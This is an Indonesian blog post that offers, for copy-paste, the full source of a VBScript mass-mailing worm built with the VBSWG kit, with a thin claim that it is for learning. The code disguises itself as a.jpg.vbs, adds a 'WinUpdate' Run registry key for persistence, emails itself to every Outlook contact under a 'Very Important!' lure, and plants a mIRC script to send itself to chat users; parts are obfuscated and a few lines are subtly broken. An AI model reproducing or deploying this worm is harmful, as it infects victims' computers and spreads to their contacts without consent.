Contoh cara Buat Virus

Ini merupakan virus yang saya gunakan dalam video editing..Hhe 
Saya  memposting ini bukan karena sombong tetapi hanya ingin memberi tahu kalian semua kalau membuat virus itu bisa menggunakan notepad. Dan ingat, ini bukan untuk merugikan orang lain. Melainkan untuk pembelajaran.



Maaf..:D Kebanyakan ceramah..:D

Langsung aja kita mulai....!!!!!

Biar gak pusing, ikuti video berikut ini...



silakan kopas:

'Vbs.Vbswg.a Created By SAN THE 21
Set IGGMAP4V = createobject("scripting.filesystemobject")
IRPM747G = IGGMAP4V.getspecialfolder(0)
Q903B22B = IRPM747G & "\a.jpg.vbs"
Set U24GT6IA = createobject("wscript.shell")
U24GT6IA.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & Q903B22B & " %"
IGGMAP4V.copyfile wscript.scriptfullname, Q903B22B
If U24GT6IA.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\a\O6TN4SKO") <> 1 then
O4NIG706
End if
If U24GT6IA.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\a\ET1V8643") <> 1 then
T6RQ5F48 ""
End if
Function O4NIG706()
Set B4PI32TB = CreateObject("Outlook.Application")
If B4PI32TB = "Outlook" Then
Set I3VK08TE = B4PI32TB.GetNameSpace("MAPI")
Set F01CBPB2 = I3VK08TE.AddressLists
For Each F76EUF38 In F01CBPB2
If F76EUF38.AddressEntries.Count <> 0 Then
QV61529K = F76EUF38.AddressEntries.Count
For DGC19566 = 1 To QV61529K
Set HBVL86DT = B4PI32TB.CreateItem(0)
Set I7A5V257 = F76EUF38.AddressEntries(DGC19566)
HBVL86DT.To = I7A5V257.Address
HBVL86DT.Subject = "Very Important!"
HBVL86DT.Body = "Hi:" & vbcrlf & "Please view this file, it's very important." & vbcrlf & ""
execute "set E47D413T =HBVL86DT." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
KO6E7H28 = Q903B22B
HBVL86DT.DeleteAfterSubmit = True
E47D413T.Add KO6E7H28
If HBVL86DT.To <> "" Then
HBVL86DT.Send
End If
Next
End If
Next
End If
End function
Function T6RQ5F48(PQ724KLL)
If PQ724KLL <> "" Then
H3H795L6 = U24GT6IA.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If IGGMAP4V.fileexists("c:\mirc\mirc.ini") Then
PQ724KLL = "c:\mirc"
ElseIf IGGMAP4V.fileexists("c:\mirc32\mirc.ini") Then
PQ724KLL = "c:\mirc32"
ElseIf IGGMAP4V.fileexists(H3H795L6 & "\mirc\mirc.ini") Then
PQ724KLL = H3H795L6 & "\mirc"
ElseIf IGGMAP4V.fileexists(H3H795L6 & "\mirc32\mirc.ini") Then
PQ724KLL = H3H795L6 & "\mirc"
Else
PQ724KLL = ""
End If
End If
If PQ724KLL <> "" Then
Set E10LQR6N = IGGMAP4V.CreateTextFile(PQ724KLL & "\script.ini", True)
E10LQR6N = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{"
E10LQR6N = E10LQR6N & vbCrLf & "n0=on 1:JOIN:#:{"
E10LQR6N = E10LQR6N & vbCrLf & "n1= /if ( $nick == $me ) { halt }"
E10LQR6N = E10LQR6N & vbCrLf & "n2= /." & Chr(100) & Chr(99) & Chr(99) & " send $nick "
E10LQR6N = E10LQR6N & Q903B22B
E10LQR6N = E10LQR6N & vbCrLf & "n3=}"
script.Close
End If
End Function
'Vbswg 2 Beta. By [Khendharahap]


Ekstensi .Vbs
NGAT.!!!
INI UNTUK PEMBELAJARAN..

Semoga bermamfaat..^_^